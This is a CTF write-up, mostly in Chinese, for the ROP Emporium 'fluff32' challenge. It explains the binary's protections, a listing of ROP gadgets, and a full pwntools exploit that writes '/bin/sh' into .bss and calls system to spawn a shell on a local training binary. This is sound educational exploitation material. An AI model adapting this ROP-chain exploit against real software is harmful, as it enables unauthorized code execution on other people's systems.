ROP fluff

文件:fluff32

  1. checksec fluff32

        Arch:     i386-32-little
        RELRO:    Partial RELRO
        Stack:    No canary found
        NX:       NX enabled
        PIE:      No PIE (0x8048000)
  2. IDA

    int __cdecl main(int argc, const char **argv, const char **envp)
    {
      setvbuf(stdout, 0, 2, 0);
      setvbuf(stderr, 0, 2, 0);
      puts("fluff by ROP Emporium");
      puts("32bits\n");
      pwnme();
      puts("\nExiting");
      return 0;
    }

    pwnme()

    char *pwnme()
    {
      char s; // [sp+0h] [bp-28h]@1
    
      memset(&s, 0, 0x20u);
      puts("You know changing these strings means I have to rewrite my solutions...");
      printf("> ");
      return fgets(&s, 512, stdin);
    }

    You know changing these strings means I have to rewrite my solutions…

    usefulFunction()

    int usefulFunction()
    {
      return system("/bin/ls");
    }

    这里啥也不知道。

    (我觉得会想要打开shell。但是又无/bin/sh)

    Working backwards

    Once we’ve employed our usual drills of checking protections and searching for interesting symbols and strings we can think about what we’re trying to acheive and plan our chain. A solid approach is to work backwards; we’ll need a mov [reg], reg or something equivalent to make the actual write so we can start there.

    Do it!

    There’s not much more to this challenge, we just have to think about ways to move data into the registers we want to control. Sometimes we’ll need to take an indirect approach, especially in smaller binaries with fewer available gadgets like this one. Once you’ve got a working write primitive go ahead and craft your solution. If you don’t feel like doing the hard work note that the 64 bit version of this challenge can also be pwned using the same single link chain that works on write4 🤦‍♂️

    这是ROP写的,是说如果想要用某命令,可以去把我们想要运行的命令move进去寄存器(应该是),比如这里,我想运行/bin/sh,把寄存器中的/bin/ls改成/bin/sh

  3. 需要先知道一些基础知识:

    xor异或。某物自身和自身的异或为0,任何数异或0都是它本身。

    交换指令XCHG是两个寄存器,寄存器和内存变量之间内容的交换指令。

    可以通过下面指令寻找。

    ROPgadget --binary fluff32 --only "mov|pop|ret|xor|xchg"
    0x08048547 : mov al, byte ptr [0xc9010804] ; ret
    0x08048709 : mov dword ptr [0x81fffffd], eax ; ret
    0x08048693 : mov dword ptr [ecx], edx ; pop ebp ; pop ebx ; xor byte ptr [ecx], bl ; ret
    0x08048674 : mov ebp, 0xcafebabe ; ret
    0x080484b0 : mov ebx, dword ptr [esp] ; ret
    0x0804867e : mov edi, 0xdeadbabe ; ret
    0x0804868c : mov edx, 0xdefaced0 ; ret
    0x0804867d : pop ebp ; mov edi, 0xdeadbabe ; ret
    0x0804868b : pop ebp ; mov edx, 0xdefaced0 ; ret
    0x08048695 : pop ebp ; pop ebx ; xor byte ptr [ecx], bl ; ret
    0x080486fb : pop ebp ; ret
    0x080486f8 : pop ebx ; pop esi ; pop edi ; pop ebp ; ret
    0x080483e1 : pop ebx ; ret
    0x08048696 : pop ebx ; xor byte ptr [ecx], bl ; ret
    0x08048692 : pop edi ; mov dword ptr [ecx], edx ; pop ebp ; pop ebx ; xor byte ptr [ecx], bl ; ret
    0x080486fa : pop edi ; pop ebp ; ret
    0x08048670 : pop edi ; xor edx, edx ; pop esi ; mov ebp, 0xcafebabe ; ret
    0x08048673 : pop esi ; mov ebp, 0xcafebabe ; ret
    0x080486f9 : pop esi ; pop edi ; pop ebp ; ret
    0x0804867a : pop esi ; xor edx, ebx ; pop ebp ; mov edi, 0xdeadbabe ; ret
    0x080483ca : ret
    0x080484fe : ret 0xeac1
    0x08048689 : xchg edx, ecx ; pop ebp ; mov edx, 0xdefaced0 ; ret
    0x08048697 : xor byte ptr [ecx], bl ; ret
    0x0804867b : xor edx, ebx ; pop ebp ; mov edi, 0xdeadbabe ; ret
    0x08048671 : xor edx, edx ; pop esi ; mov ebp, 0xcafebabe ; ret
    
    Unique gadgets found: 26

    提取所需:

    0x08048693 : mov dword ptr [ecx], edx ; pop ebp ; pop ebx ; xor byte ptr [ecx], bl ; ret

    edx传给ecx,ebp出栈,ebx出栈,异或bl与ecx

    0x080483e1 : pop ebx ; ret

    ebx出栈

    0x08048689 : xchg edx, ecx ; pop ebp ; mov edx, 0xdefaced0 ; ret

    xchg 交换两个操作数的数据,将第二个参数x放入寄存器中与第一个指针参数所指的内容交换,也就是说第一个参数所指的内容是第二个参数,第二个参数所指的内容是第一个参数

    换个说法:(mov_edx_to_ecx)

    0x0804867b : xor edx, ebx ; pop ebp ; mov edi, 0xdeadbabe ; ret

    异或edx,ebx;ebp出栈;填充edi

    xor异或,一个数异或自身为0,任何数异或0都是它本身。

    0x08048671 : xor edx, edx ; pop esi ; mov ebp, 0xcafebabe ; ret

    异或edx,edx;esi出栈;ebp填充

  4. 想要把内容放入寄存器,需要清空原寄存器的东西,然后分两次放入(32位嘛)。

    把内容写入寄存器,需要清空原寄存器,拿到手里的工具也就一个ecx可用(仔细看),但是无pop ecx(也无pop edx),但是有xchg edx,ecx,可以二者直接交换,那么就好整了,搞定ebx然后xchg edx,ecx交换把ebx数据直接换进ecx,就达成了目的(目的是把edx写入ecx)。

  5. EXP

    (讲道理~elf真滴好用,都不用自己去翻地址)

    #coding=utf8
    from pwn import *
    #context.log_level = 'debug'
    elf = ELF('./fluff32')
    p = process('./fluff32')
    
    pop_ebx = 0x080483e1
    xor_edx_edx = 0x08048671
    xor_edx_ebx = 0x0804867b
    mov_edx_to_ecx = 0x08048693
    xchg_edx_ecx = 0x08048689
    
    system_plt = elf.plt['system']
    bss = elf.bss()
    
    payload = ('A'*0x28)+p32(0)
    
    #bss地址写入ecx中去
    payload += p32(pop_ebx)
    payload += p32(bss)
    payload += p32(xor_edx_edx)+p32(0)
    payload += p32(xor_edx_ebx)+p32(0)
    payload += p32(xchg_edx_ecx)+p32(0)
    #"/bin"写入edx,再把edx的内容写入ecx
    payload += p32(pop_ebx)
    payload += "/bin"
    payload += p32(xor_edx_edx)+p32(0)
    payload += p32(xor_edx_ebx)+p32(0)
    payload += p32(mov_edx_to_ecx)+p32(0)+p32(0)
    #好像这里有了一次堆栈平衡
    
    #bss地址写入bss+4
    payload += p32(pop_ebx)
    payload += p32(bss+4)
    payload += p32(xor_edx_edx)+p32(0)
    payload += p32(xor_edx_ebx)+p32(0)
    payload += p32(xchg_edx_ecx)+p32(0)
    #"/sh\x00"写入edx,再把edx的内容写入ecx
    payload += p32(pop_ebx)
    payload += "/sh\x00"
    payload += p32(xor_edx_edx)+p32(0)
    payload += p32(xor_edx_ebx)+p32(0)
    payload += p32(mov_edx_to_ecx)+p32(0)+p32(0)
    #好像这里又有了一次堆栈平衡
    
    payload += p32(system_plt)
    payload += p32(0xdeadbeef)
    payload += p32(bss)
    
    p.sendline(payload)
    p.interactive()
    $ cat flag.txt
    ROPE{a_placeholder_32byte_flag!}

    ROPE{a_placeholder_32byte_flag!}